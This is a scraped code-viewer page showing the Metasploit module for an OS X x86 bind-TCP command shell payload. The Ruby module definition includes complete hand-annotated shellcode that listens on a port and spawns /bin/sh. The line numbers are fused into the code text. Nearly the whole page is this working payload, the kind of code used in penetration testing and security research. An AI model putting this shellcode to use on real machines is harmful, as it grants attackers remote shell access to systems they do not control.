Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/osx/x86/shell_bind_tcp.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 74910include Msf::Payload::Single11include Msf::Payload::Osx12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'OS X Command Shell, Bind TCP Inline',17'Description' => 'Listen for a connection and spawn a command shell',18'Author' => 'Ramon de C Valle',19'License' => MSF_LICENSE,20'Platform' => 'osx',21'Arch' => ARCH_X86,22'Handler' => Msf::Handler::BindTcp,23'Session' => Msf::Sessions::CommandShellUnix,24'Payload' =>25{26'Offsets' =>27{28'LPORT' => [ 6, 'n' ],29},30'Payload' =>31"\x31\xc0" + # xorl %eax,%eax #32"\x50" + # pushl %eax #33"\x68\xff\x02\x04\xd2" + # pushl $0xd20402ff #34"\x89\xe7" + # movl %esp,%edi #35"\x50" + # pushl %eax #36"\x6a\x01" + # pushl $0x01 #37"\x6a\x02" + # pushl $0x02 #38"\x6a\x10" + # pushl $0x10 #39"\xb0\x61" + # movb $0x61,%al #40"\xcd\x80" + # int $0x80 #41"\x57" + # pushl %edi #42"\x50" + # pushl %eax #43"\x50" + # pushl %eax #44"\x6a\x68" + # pushl $0x68 #45"\x58" + # popl %eax #46"\xcd\x80" + # int $0x80 #47"\x89\x47\xec" + # movl %eax,-0x14(%edi) #48"\xb0\x6a" + # movb $0x6a,%al #49"\xcd\x80" + # int $0x80 #50"\xb0\x1e" + # movb $0x1e,%al #51"\xcd\x80" + # int $0x80 #52"\x50" + # pushl %eax #53"\x50" + # pushl %eax #54"\x6a\x5a" + # pushl $0x5a #55"\x58" + # popl %eax #56"\xcd\x80" + # int $0x80 #57"\xff\x4f\xe4" + # decl -0x1c(%edi) #58"\x79\xf6" + # jns <bndsockcode+42> #59"\x50" + # pushl %eax #60"\x68\x2f\x2f\x73\x68" + # pushl $0x68732f2f #61"\x68\x2f\x62\x69\x6e" + # pushl $0x6e69622f #62"\x89\xe3" + # movl %esp,%ebx #63"\x50" + # pushl %eax #64"\x54" + # pushl %esp #65"\x54" + # pushl %esp #66"\x53" + # pushl %ebx #67"\x50" + # pushl %eax #68"\xb0\x3b" + # movb $0x3b,%al #69"\xcd\x80" # int $0x80 #70}71))72end73end747576